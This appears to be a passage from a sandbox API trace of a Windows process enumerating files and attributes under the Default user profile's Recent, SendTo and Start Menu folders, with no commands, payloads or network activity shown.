	[0082.449] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c1048 | out: lpFileInformation=0x127c1048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14bb620, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0082.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations"), fInfoLevelId=0x0, lpFileInformation=0x127c1098 | out: lpFileInformation=0x127c1098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.450] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.450] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.451] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c11d8 | out: lpFileInformation=0x127c11d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c1228 | out: lpFileInformation=0x127c1228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc67cc5, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x3c12)) returned 1
	[0082.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c1278 | out: lpFileInformation=0x127c1278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127c12c8 | out: lpFileInformation=0x127c12c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1
	[0082.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x127c1318 | out: lpFileInformation=0x127c1318*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.454] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.454] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.455] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget"), fInfoLevelId=0x0, lpFileInformation=0x127c1548 | out: lpFileInformation=0x127c1548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeca9f1ef, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x639ff80f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3)) returned 1
	[0082.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink"), fInfoLevelId=0x0, lpFileInformation=0x127c1598 | out: lpFileInformation=0x127c1598*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c45a701, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb52ab9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7)) returned 1
	[0082.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127c15e8 | out: lpFileInformation=0x127c15e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xec18bec6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d828fa3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x22e)) returned 1
	[0082.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\documents.mydocs"), fInfoLevelId=0x0, lpFileInformation=0x127c1638 | out: lpFileInformation=0x127c1638*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63dece0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127c1688 | out: lpFileInformation=0x127c1688*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d802e42, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d802e42, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d6)) returned 1
	[0082.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), fInfoLevelId=0x0, lpFileInformation=0x127c16d8 | out: lpFileInformation=0x127c16d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4)) returned 1
	[0082.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x127c1728 | out: lpFileInformation=0x127c1728*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.458] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.458] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.458] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs"), fInfoLevelId=0x0, lpFileInformation=0x127c1818 | out: lpFileInformation=0x127c1818*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.458] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.458] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.460] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x127c1a98 | out: lpFileInformation=0x127c1a98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.462] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.462] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.463] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), fInfoLevelId=0x0, lpFileInformation=0x127c1d18 | out: lpFileInformation=0x127c1d18*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.465] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.465] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x127ef6c0 | out: lpFindFileData=0x127ef6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.466] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127c1ef8 | out: lpFileInformation=0x127c1ef8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0cd7f5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1
	[0082.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127c1f48 | out: lpFileInformation=0x127c1f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aadace0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1ab4d101, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x54e)) returned 1
	[0082.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127c1f98 | out: lpFileInformation=0x127c1f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a911c5d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a98407e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ea)) returned 1
	[0082.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2008 | out: lpFileInformation=0x127e2008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b733f17, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b733f17, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee)) returned 1
	[0082.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2058 | out: lpFileInformation=0x127e2058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9f649f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2)) returned 1
	[0082.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e20a8 | out: lpFileInformation=0x127e20a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a53d8cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2a53d8cd, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1
	[0082.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e20f8 | out: lpFileInformation=0x127e20f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2a6)) returned 1
	[0082.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2148 | out: lpFileInformation=0x127e2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d655ee8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d73a72a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518)) returned 1
	[0082.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2198 | out: lpFileInformation=0x127e2198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dcf29a8, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x63b8b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfec52d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1
	[0082.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), fInfoLevelId=0x0, lpFileInformation=0x127e21e8 | out: lpFileInformation=0x127e21e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.469] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
